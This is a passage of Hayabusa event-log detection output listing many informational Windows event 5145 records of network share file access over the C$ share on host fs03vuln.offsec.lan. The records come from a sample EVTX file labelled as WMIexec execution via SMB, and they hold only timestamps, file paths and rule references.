Windows\assembly\NativeImages_v4.0.30319_32\System.Runtc259d85b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.756 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runtc259d85b#\ed68489987b413410ccb94c6e704f6b4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.772 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.787 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\183eaaded316165bfbd32a991e4e8c8a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.787 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Security : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.787 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Security\ba6ea4732f569e0674d6a43a82de5cc2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.787 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv14b62006# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.787 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv14b62006#\09e0258d6e4a9d467c32dc8ac58766f2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.787 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv30e99c02# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.787 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv30e99c02#\c97638c574cae07911907fa19e2aeedd : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.803 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv43e0ae6e# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.819 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv43e0ae6e#\e9302436a2c607db888bcb3b14ebba8e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.834 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv759bfb78# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.834 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv759bfb78#\5e015d37aa3fdc75648e9d00d44d13ac : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.850 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv14259fd9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.866 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Serv14259fd9#\3c06d012b88601107a4449fb04067a20 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.882 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Servae423458# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.882 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Servae423458#\67f143e1f5d81dae33879b84e0035cad : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Servb00a6512# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Servb00a6512#\03d76bf2a39a57e8bed74e782c62fd1c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Servd1dec626# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Servd1dec626#\ee53227bcc4430088d0b560752c1cd02 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Servf73e6522# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.906 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Servf73e6522#\39bc23d9592ef276c70a36ef0311070a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.ServiceModel : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.ServiceModel\4c3126aec3364546e4ade89c24c4e742 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Speech : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Speech\6d5f82d8178e3d8e9931e70dce584863 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Transactions : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Transactions\95c749867e5f72a09ed1e59a57931301 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web\90285827b1300835ca1aaff1dff83a01 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.938 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.8da3333a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.938 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.8da3333a#\3dde15282321aa41c609dc7f7a5f1af5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.938 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.8dc504e4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.938 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.8dc504e4#\61d489d8a768782ce394f299dcc0e4bb : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.9c7998a9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.9c7998a9#\f2c2cff3fa34c990079298396b1ec1fc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.000 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.28b9ef5a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.000 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.28b9ef5a#\4b7763786015950c44dbba0ff26b883e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.016 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.82d5542b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.016 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.82d5542b#\af89139de3b87146c705fa989eeaa4b1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.031 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.188dd00b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.031 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.188dd00b#\db42d61826797328b8b368348c6b3f13 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.063 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.1586a486# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.063 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.1586a486#\9de316f43fe18621a13deefe7dbbbc27 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.078 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.2486c0f5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.094 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.2486c0f5#\5a669ebdf74fb2c8f0d8148b4f79b9a2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.094 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.4961ff77# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.094 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.4961ff77#\81722d79b43d0329413516f10c3faf60 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.094 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.dc83ace6# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.094 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.dc83ace6#\cd0ef620fc82b9dab224ae428bb2a910 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.Entity : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.Entity\0023a84796c78827e3d0176900ba5b59 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.Mobile : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.Mobile\84ecb78e3635883e1cf8acae1dec527e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.Routing : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.Routing\aa9b0e256833bf2671e6cb5370559f4f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.Services : IP Address: 